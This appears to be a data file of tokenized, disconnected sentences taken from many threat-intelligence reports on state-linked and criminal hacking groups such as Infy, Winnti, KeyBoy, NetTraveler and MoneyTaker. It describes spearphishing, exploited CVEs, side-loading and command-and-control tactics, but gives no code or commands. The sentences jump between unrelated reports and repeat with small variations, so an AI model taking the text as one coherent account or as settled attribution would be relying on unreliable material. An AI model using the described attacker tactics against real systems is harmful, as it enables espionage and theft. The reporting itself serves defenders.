Just like with RedOctober , the top target of Cloud Atlas is Russia , followed closely by Kazakhstan , according to data from the Kaspersky Security Network ( KSN ) .
In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
Attacks using this tool were still active as of April 2016 .
Considering the language being used in the malicious code is Arabic , it seems that the attacker is familiar with Arabic language as well .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
Unit 42 published a blog at the beginning of May titled " Prince of Persia " , in which we described the discovery of a decade-long campaign using a formerly unknown malware family , Infy , that targeted government and industry interests worldwide .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
In addition to the original " Infy " variant , we also see the newer , more sophisticated , interactive , and fuller-featured " Infy M " variant deployed against apparently-higher-value targets .
This documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat actors , Rocket Kitten , Infy , Sima , and Operation Cleaver , including groups and tools that have not been previously disclosed .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Thanks to information we have been able to collect during the course of our research , such as characteristics of the group 's malware and development cycle , our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state .
Amongst a backdrop of other incidents , Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014 , growing in use up to the February 2016 parliamentary election in Iran .
Until the publication of the Palo Alto report , the developers of the Infy appeared to be actively updating and maintaining the codebase , and new releases were distributed to existing , as well as new , targets quite regularly .
Other samples were found bearing a compilation time as early as June 2012 and version 00002 .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
When activities targeting of civil society subsided , the actors instead appeared to have focused on external targets , such a series of attempts to spearphish the Danish Ministry of Foreign Affairs .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .
Until late December 2015 , in nearly every Infy message documented since our tracking began in May 2013 , no attempt included strong tailoring of the approach , often not even including an email body , instead relying on cryptic filenames and email subjects to attract interest .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The actors successfully compromised a host of an Saudi government institutions on January 17 , 2016 , and maintained access for at least two weeks .
The Infy group also appears to engage in espionage activities against foreign governments and businesses .
In order to initially compromise the designated targets , Infy typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
In order to initially compromise the designated targets , the attackers typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
On May 2 , 2016 , Palo Alto Networks published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Prior to the distribution of new versions of the agent , the Infy developers appear to consistently conduct tests from local hosts , which indicates that the control and maintenance of the software occurs in the Khorasan Razavi province of Iran , potentially in the city of Mashhad .
On May 2 , 2016 , Palo Alto published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Only one client , based in Iran , continued to communicate with the infrastructure .
A researcher has attributed a recently publicized attack on Citrix' internal network to the Iranian-linked group known as IRIDIUM – and said that the data heist involved 6 terabytes of sensitive data .
" IRIDIUM has hit more than 200 government agencies , oil and gas companies and technology companies , including Citrix Systems Inc " , they said .
Citrix told Threatpost that this is indeed the same password-spraying attack it announced itself last week – but it wouldn't confirm the other details in Resecurity 's post , including the attribution .
In wake of these events , a security firm Resecurity reached out to NBC news and claimed that they had reasons to believe that the attacks were carried out by Iranian-linked group known as IRIDIUM .
Resecurity says that IRIDIUM " has hit more than 200 government agencies , oil and gas companies , and technology companies including Citrix .
Resecurity claims that IRIDIUM breached Citrix 's network during December 2018 .
Infy engaged in malware spearphishing against the same targets as Flying Kitten from the outset of its campaign ; Operation Cleaver has registered several resources related to development agencies that have been the subject of intrusion attempts by others since February 2014 .
The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
At this stage , the malware gathers information about the infected computer .
Hancom Office is widely used in South Korea .
Perhaps it also points to the suspected North Korean origin of attack .
The attacker is from North Korea .
All of them lie in ranges of the Jilin Province Network and Liaoning Province Network , in China .
Finally , this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate 's network as early as February 2016 .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender ATP flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months ( Figure 1 ) .
Instead , Lead often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ways .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and BARIUM are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
And , finally , with the upcoming Creators Update , Windows Defender ATP will provide additional capabilities for detecting threats such as Winnti , as well as centralized response options , such as machine isolation and file blocking , that will enable fast containment of known attack jump off points .
The police suspected Lurk of stealing nearly three billion rubles , using malicious software to systematically withdraw large sums of money from the accounts of commercial organizations , including banks .
When we first encountered Lurk , in 2011 , it was a nameless Trojan .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .
In most cases , the attackers only had to infect the computer on which the RBS software was installed in order to start stealing the cash .
We were soon able to help investigate another incident involving Lurk .
This event significantly affected the Russian cybercriminal world as the gang had stolen hundreds of millions of rubles during a few years of activity , and was considered a " leader " among cybercriminals .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
In April 2013 , a year after we found the " bodiless " Lurk module , the Russian cybercriminal underground exploited several families of malicious software that specialized in attacks on banking software .
Through the information exchanges used by people in the security industry , we learned that several Russian banks were struggling with malicious programs created specifically to attack a particular type of legal banking software .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
As far as we can judge from the data we have , in 2014 the criminal group behind Lurk seriously reduced its activity and " lived from hand to mouth " , attacking anyone they could , including ordinary users .
In February 2015 , Kaspersky Lab 's Global Research and Analysis Team ( GReAT ) released its research into the Carbanak campaign targeting financial institutions .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
which they launched targeted attacks against Russian banks , businesses and media companies .
Lurk uses a form of steganography : that's where one file is hidden away inside another file of a completely different sort , such as an image , audio , or video file .
The latest version of Madi also has the ability to monitor the Russian social network Vkontakte ( VK ) along with the Jabber messaging platform to look for users who visit websites that contain words like " USA " , " Skype " , and " gov " .
Madi was found capturing computer screens , recording audio and stealing screenshots , keystrokes , documents and e-mail correspondence from " Middle Eastern critical infrastructure engineering firms , government agencies , financial houses and academia .
A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .
it reports to was created on August 10 , 2011 .
Since at least 2008 , The Lamberts have used multiple sophisticated attack tools against high-profile victims .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The attack leveraged malware we called ' BlackLambert ' , which was used to target a high profile organization in Europe .
Their arsenal includes network-driven backdoors , several generations of modular backdoors , harvesting tools , and wipers .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
Interestingly , while most Blue Lambert variants have version numbers in the range of 2.x , Green Lambert is mostly in 3.x versions .
While investigating one of these infections involving White Lambert ( network-driven implant ) and Blue Lambert ( active implant ) , we found yet another family of tools that appear to be related .
Versions of this particular orchestrator were found on other victims , together with White Lambert samples , indicating a close relationship between the White and Pink Lambert malware families .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
This migration activity was last observed in October 2016 .
Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block : a hostname and an IP address .
Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice .
Black Lambert was seen only briefly and we assume it was " retired " from the arsenal after being discovered by FireEye in 2014 .
The Lamberts toolkit spans across several years , with most activity occurring in 2013 and 2014 .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed .
On January 15 , Confiant exposed the activity of the Zirconium group , spreading malicious ads via a network of fake ad agencies through 2017 , in what amounted to the largest malvertising campaign of recent times .
Cadelle , uses Backdoor.Cadelspy .
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014 , however , it's likely that activity began well before this date .
Chafer , uses Backdoor.Remexi .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
Chafer , uses Backdoor.Remexi.B .
registrant information points to activity possibly as early as 2011 .
These threats are capable of opening a back door and stealing information from victims' computers .
executable compilation times suggest early 2012 .
It's unclear how Cadelle infects its targets with Backdoor.Cadelspy .
The affected organizations we were able to identify are mostly based in the Middle East .
one organization is located in the US .
There are a number of factors in these groups' campaigns that suggests that the attackers may be based in Iran .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
Their primary interest appears to be gathering intelligence .
This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant .
security policy in the Eastern Europe and South Caucasus regions .
Callisto Group via credential phishingThese spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
These spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
some indications of loosely linked activity dating back to at least 2013 .
In October 2015 , the Callisto Group was observed sending targeted credential phishing emails .
In early 2016 , the Callisto Group was observed sending targeted spear phishing emails .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
In the known spear phishing attacks by the Callisto Group , they employed the " Scout " malware tool from the RCS Galileo platform .
We are confident the Callisto Group used this type of access to a target 's email account for the purposes of sending spear phishing to other targets .
If a target of the spear phishing described in " Phase 2 : malware deployment " opened the email attachment and , crucially , clicked on the icon in the attachment , this would lead to the target 's computer becoming infected with the " Scout " malware tool from the RCS Galileo platform .
Callisto Group and related infrastructure contain links to at least Russia , Ukraine , and China .
they have been last known to employ malware in February 2016 .
RCS Galileo platform .
The spear phishing emails used in the known attacks by the Callisto Group were so convincing that even skilled and alert users would likely have attempted to open the malicious attachment .
In October 2015 the Callisto Group targeted a handful of individuals with phishing emails that attempted to obtain the target 's webmail credentials .
The Callisto Group has been active at least since late 2015 and continues to be so , including continuing to set up new phishing infrastructure every week .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
" With our latest research we now see how Greenbug has shifted away from HTTP-based C2 communication with Ismdoor .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
By relying on a native PDF command to navigate to a new URL , Zirconium successfully circumvented Chrome 's anti-redirect protection .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
To do this , it employs a number of specific commands via DNSMessenger .
Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies .
By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent .
Named Trochilus , this new RAT was part of Group 27 's malware portfolio that included six other malware strains , all served together or in different combinations , based on the data that needed to be stolen from each victim .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
Trochilus RAT activity was discovered during both months of October and November 2015 .
From September 2016 through late November 2016 , a threat actor group used both the Trochilus RAT and a newly idenfied RAT we've named MoonWind to target organizations in Thailand , including a utility organization .
We chose the name ' MoonWind ' based on debugging strings we saw within the samples , as well as the compiler used to generate the samples .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
Both the Trochilus and MoonWind RATs were hosted on the same compromised sites and used to target the same organization at the same time .
The attackers used different command and control servers ( C2s ) for each malware family , a tactic we believe was meant to thwart attempts to tie the attacks together using infrastructure alone .
Further research led us to additional MoonWind samples using the same C2 ( dns.webswindows.com ) but hosted on a different compromised but legitimate website .
The attacks in that case took place in late September to early October 2016 and the attackers stored the MoonWind samples as RAR files , while in the November attacks the RATs were stored as executables .
We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
Trochilus was first reported by Arbor Networks in their Seven Pointed Dagger report tying its use to other targeted Southeast Asia activity .
The activity dates to at least 2013 and has ties to multiple reports by other researchers .
It is highly likely MoonWind is yet another new tool being used by the group or groups responsible for that activity , indicating they are not only still active but continuing to evolve their playbook .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
On June 7 , 2013 , Rapid7 released an analysis of malware dubbed ' KeyBoy ' , also exploiting unknown vulnerabilities in Microsoft Office , similarly patched by MS12-060 , but allegedly targeting interests in Vietnam and India .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services like changeip.com to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
Subdomains at phmail.us have been linked to malicious activity dating back as far as December 2011 .
Based on the patterns of subdomain registration over time in DNS , TRAC believes this is an example where the attackers registered their own second-level domain .
In this blog post we'll analyze two specific incidents apparently targeting victims in Vietnam and in India and we'll describe the capabilities of the custom backdoor being used that for convenience ( and to our knowledge , for a lack of an existing name ) we call KeyBoy , due to a string present in one of the samples .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
For the sake of this analysis we'll take the Vietnamese backdoor as an example ; the one found in the Indian attack operates in the exact same way .
In the second set they are making use of a dynamic DNS service by ChangeIP.com .
The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
More recently in 2016 , Arbor Networks reported on connected malware operations continuing to target these same groups , which the Communist Party of China perceives as a threat to its power .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
For example , we have observed frequent reuse of older ( patched ) exploits in malware operations against the Tibetan community .
These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy .
In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament ( the highest legislative organ of the Tibetan government in exile , formally known as Central Tibetan Administration ) .
The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups , but also others related to Hong Kong , Taiwan , and Uyghur interests .
The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7 .
This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco .
These versions of KeyBoy differed from the one first described by Rapid7 in several ways , many of which will be described in the sections to follow .
These samples were contained in exploit documents containing distinct lure content , one having a Tibetan nexus , the other an Indian nexus .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
Chances are about even , though , that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved .
In addition to the campaign in Myanmar , Mofang has been observed to attack targets across multiple sectors ( government , military , critical infrastructure and the automotive and weapon industries ) in multiple countries .
This threat report gives insight into some of the information that Fox-IT has about a threat actor that it follows , called Mofang .
The name Mofang is based on the Mandarin verb , which means to imitate .
It is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated .
Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
The Mofang group has been active in relation to the Kyaukphyu sez .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
The first attack started in early July with a ShimRatReporter payload .
Myanmar has been the target of Mofang 's attacks for years before the campaign related to the sez .
In late September 2015 Mofang used the website of Myanmar 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
In December 2012 Mofang started a campaign against a new target , called ' seg ' for the purpose of this report .
From the configuration it can be determined that the company was running F-Secure Antivirus and Mofang registered the domain to not appear suspicious .
In September 2015 Mofang launched another attack .
A new version of ShimRat was built on the 7th of September , uploaded to the server and only days later used in a new campaign .
MoneyTaker has primarily been targeting card processing systems , including the AWS CBR ( Russian Interbank System ) and purportedly SWIFT ( US ) .
Given the wide usage of STAR in LATAM , financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group .
In addition to banks , the MoneyTaker group has attacked law firms and also financial software vendors .
Since that time , the group attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
The first attack in the US that Group-IB attributes to this group was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
In 2017 , the number of attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
By analyzing the attack infrastructure , Group-IB identified that MoneyTaker group continuously exfiltrates internal banking documentation to learn about bank operations in preparation for future attacks .
Group-IB reports that MoneyTaker uses both borrowed and their own self-written tools .
Group-IB has provided Europol and Interpol with detailed information about the MoneyTaker group for further investigative activities as part of our cooperation in fighting cybercrime .
In late September 2015 Mofang used the website of Myanmara 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
To control the full operation , MoneyTaker uses a Pentest framework Server .
On it , MoneyTaker install a legitimate tool for penetration testing – Metasploit .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
MoneyTaker uses ' fileless ' malware only existing in RAM and is destroyed after reboot .
To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
Since that time , MoneyTaker attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker , 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker ; 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
Only one incident involving a Russian bank was promptly identified and prevented that is known to Group-IB .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
To conduct targeted attacks , MoneyTaker use a distributed infrastructure that is difficult to track .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
Hackers use Metasploit to conduct all these activities : network reconnaissance , search for vulnerable applications , exploit vulnerabilities , escalate systems privileges , and collect information .
Over the years they've used application components from Norman , McAfee and Norton .
Recently , Falcon Intelligence observed new activity from MUSTANG PANDA , using a unique infection chain to target likely Mongolia-based victims .
Throughout the years , the Mofang group has compromised countless servers belonging to government or other Myanmar related organizations , in order to stage attacks .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
A report published by Kaspersky Labs in 2011 on NetTraveler also mentions the C2 servers were being hosted by Krypt Technolgies .
Obviously , the developers behind NetTraveler have taken steps to try to hide the malware 's configuration .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
WildFire correctly classifies NetTraveler as malicious .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
Today Kaspersky Lab 's team of experts published a new research report about NetTraveler , which is a family of malicious programs used by APT actors to successfully compromise more than 350 high-profile victims in 40 countries .
According to Kaspersky Lab 's report , this threat actor has been active since as early as 2004 ; however , the highest volume of activity occurred from 2010 – 2013 .
Most recently , the NetTraveler group 's main domains of interest for cyberespionage activities include space exploration , nanotechnology , energy production , nuclear power , lasers , medicine and communications .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
During Kaspersky Lab 's analysis of NetTraveler , the company 's experts identified six victims that had been infected by both NetTraveler and Red October , which was another cyberespionage operation analyzed by Kaspersky Lab in January 2013 .
Kaspersky Lab 's products detect and neutralize the malicious programs and its variants used by the NetTraveler Toolkit , including Trojan-Spy.Win32.TravNet and Downloader.Win32.NetTraveler .
Based on Kaspersky Lab 's analysis of NetTraveler 's C&C data , there were a total of 350 victims in 40 countries across including the United States , Canada , United Kingdom , Russia , Chile , Morocco , Greece , Belgium , Austria , Ukraine , Lithuania , Belarus , Australia , Hong Kong , Japan , China , Mongolia , Iran , Turkey , India , Pakistan , South Korea , Thailand , Qatar , Kazakhstan , and Jordan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
In this case , it was a group commonly referred to as " Nitro " , which was coined by Symantec in its 2011 whitepaper .
Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .
Since at least 2013 , Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites , as reported by Cyber Squared 's TCIRT .
In July , Nitro compromised a South Korean clothing and accessories manufacturer 's website to serve malware commonly referred to as " Spindest " .
Of all the samples we've tied to this activity so far noted in this blog , this is the only one configured to connect directly to an IP address for Command and Control ( C2 ) .
The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample .
As this post and previous cited research show , APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection .
Attacks on the chemical industry are merely their latest attack wave .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
They then moved on to the motor industry in late May .
From late April to early May , the attackers focused on human rights related NGOs .
Attackers then moved on to the motor industry in late May .
At this point , the current attack campaign against the chemical industry began .
The attackers first researched desired targets and then sent an email specifically to the target .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The attacks were traced back to a computer system that was a virtual private server ( VPS ) located in the United States .
Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
